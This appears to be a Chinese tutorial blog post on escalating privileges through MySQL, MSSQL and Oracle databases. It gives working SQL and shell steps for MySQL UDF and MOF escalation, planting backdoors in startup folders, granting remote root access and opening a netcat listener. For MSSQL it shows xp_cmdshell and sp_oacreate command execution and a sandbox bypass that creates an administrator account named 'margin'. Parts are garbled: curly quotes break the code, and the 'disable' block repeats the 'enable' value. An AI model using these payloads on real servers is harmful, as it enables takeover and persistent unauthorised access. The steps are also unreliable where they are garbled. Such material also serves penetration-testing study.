权限提升-MY&MS&ORA等SQL数据库提权

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权前提条件:
服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。


#数据库应用提权在权限提升中的意义
#WEB 或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等


Mysql的密码:
select * from mysql.user;

#案例1.MYSQL数据库提权演示-脚本&MSF**
流程:服务探针-信息收集-提权利用-获取权限
UDF提权原理:
UDF(User-Defined-Function),即用户自定义函数,通过新添加函数对MySQL的功能进行扩充。根据MySQL用户自定义函数的功能,写入有执行系统命令的UDF,通过调用此UDF,达到提权的命令。
MySQL数据库提权需要满足以下几个条件:

  1. MySQL服务以管理员权限启动。
  2. 获取了MySQL”root“用户的密码
  3. MySQL可以连接

MOF提权原理:
托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。MOF文件每隔5秒就会监控进程的创建和死亡,或MySQL是以管理员身份启动,并且可以往MOF的文件路径"C:/windows/system32/wbem/mof" 中写入文件,便可以通过上传MOF进行提权。

1.UDF提权知识点:(基于MYSQL调用命令执行函数)
读取网站数据配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等

读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
MYSQL/data/mysql/user.MYD	#账号密码

@@basedir/data/数据库名/表名.myd
(表名.myd存储的数据)
利用脚本暴力破解(了解数据库是否支持外联及如何开启外联)
远程本地暴力破解,服务器本地暴力破解


利用自定义函数导出dll文件进行命令执行
select version() 
select @@basedir
手工创建plugin目录或利用HTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
1.mysql<5.1 导出目录:c:/windows或system32
2.mysql =>5.1 导出安装目录/lib/plugin

2.MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof
') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
3.启动项知识点:(基于配合操作系统自启动)
msf 实战上传到启动目录

导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配置重启执行!	#DDOS
数据库开启外联:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION 	#予任何主机访问数据的权限

4.反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577	#监听5577端口


**#案例2.Mssql数据库提权演示-连接客户端(一般默认支持外联)**
流程:服务探针-信息收集(得到sa密码)-提权利用-获取权限 ``` 1.适用xp_cmdshell进行提权 xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。 启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

关闭:
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;
执行:
EXEC master.dbo.xp_cmdshell ‘命令’
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll’

2.适用sp_oacreate进行提权
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

关闭:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;

执行:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt #不输出到txt可能无回显

3.适用SQL Server沙盒提权
参考资料:https://blog.51cto.com/u_11797152/2411770
exec sp_configure ‘show advanced options’,1;reconfigure;
– 不开启的话在执行 xp_regwrite 会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master…xp_regwrite
‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,
‘SandBoxMode’
– 执 行 系 统 命 令 select * from
openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user
margin margin /add”)’)
select * from
openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net
localgroup administrators margin /add”)’)
沙盒模式 SandBoxMode 参数含义(默认是 2)

**#案例3.**<br />**普通用户模式:**<br />前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。<br />

DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

雨雾_雨屋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值